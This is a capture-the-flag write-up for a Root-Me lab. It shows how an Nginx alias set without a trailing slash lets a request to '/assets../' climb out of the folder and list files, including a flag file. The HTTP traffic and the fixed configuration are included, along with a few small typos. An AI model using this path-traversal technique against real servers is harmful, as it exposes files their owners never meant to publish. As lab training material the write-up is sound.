

# Nginx - Alias Misconfiguration

Reference: <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nginx>

- In this lab, the response says that patch /assets/ so it can be directory listing in this folder.

```
1 GET / HTTP/1.1
2 Host: challenge01.root-me.org:59092
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Connection: close
10
11
12 HTTP/1.1 200 OK
13 Server: nginx/1.27.2
14 Date: Sun, 03 Nov 2024 02:51:40 GMT
15 Content-Type: text/html
16 Content-Length: 554
17 Last-Modified: Fri, 03 Feb 2023 13:32:19 GMT
18 Connection: close
19 ETag: "E3d4de3-22a"
20 Accept-Ranges: bytes
21
22 <!DOCTYPE html>
23 <html>
24 <head>
25 <link rel="stylesheet" type="text/css" href="/static/style.css">
26 </head>
27 <title>
28 Login Page
29 </title>
30 <body>
31 <form>
32 <label for="username">
33 Nom d'utilisateur:
34 </label>
35 <input type="text" id="username" name="username">
36 <br>
37 <label for="password">
38 Mot de passe:
39 </label>
40 <input type="password" id="password" name="password">
41 <br>
42 <input type="submit" value="Se connecter">
43 </form>
44
45 <script type="text/javascript" src="/static/main.js">
46 </script>
47 <!--TODO: Patch /assets/ -->
48 </body>
49 </html>
```

- However, there is nothing in folder /assets/

```
1 GET /assets/ HTTP/1.1
2 Host: challenge01.root-me.org:59092
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Connection: close
9
10
11 Index of /assets/
12
13 .. /
```

- In the hacktrick, we can see that we can path traversal if this is alias misconfiguration by adding /assets.../, the server will understand that /var/www/html/random\_folder/assets../ ⇒ /var/www/html/random\_folder/assets../ if nginx.conf like this

```
location /assets (no "/" in the path like /asssets/) {  
    alias var/www/html/assets/;  
}
```

- So it will directory listing all files when Nginx navigate up one directory level from /assets

← → ↻ ⚠ Not secure | challenge01.root-me.org:59092/assets../

### Index of /assets../

../		
<a href="#">assets/</a>	24-Oct-2024 12:25	-
<a href="#">static/</a>	24-Oct-2024 12:25	-
<a href="#">flag.txt</a>	04-Sep-2024 12:20	25

- To fix this, just add / in the path

```
location /assets/ {  
    alias var/www/html/assets/;  
}
```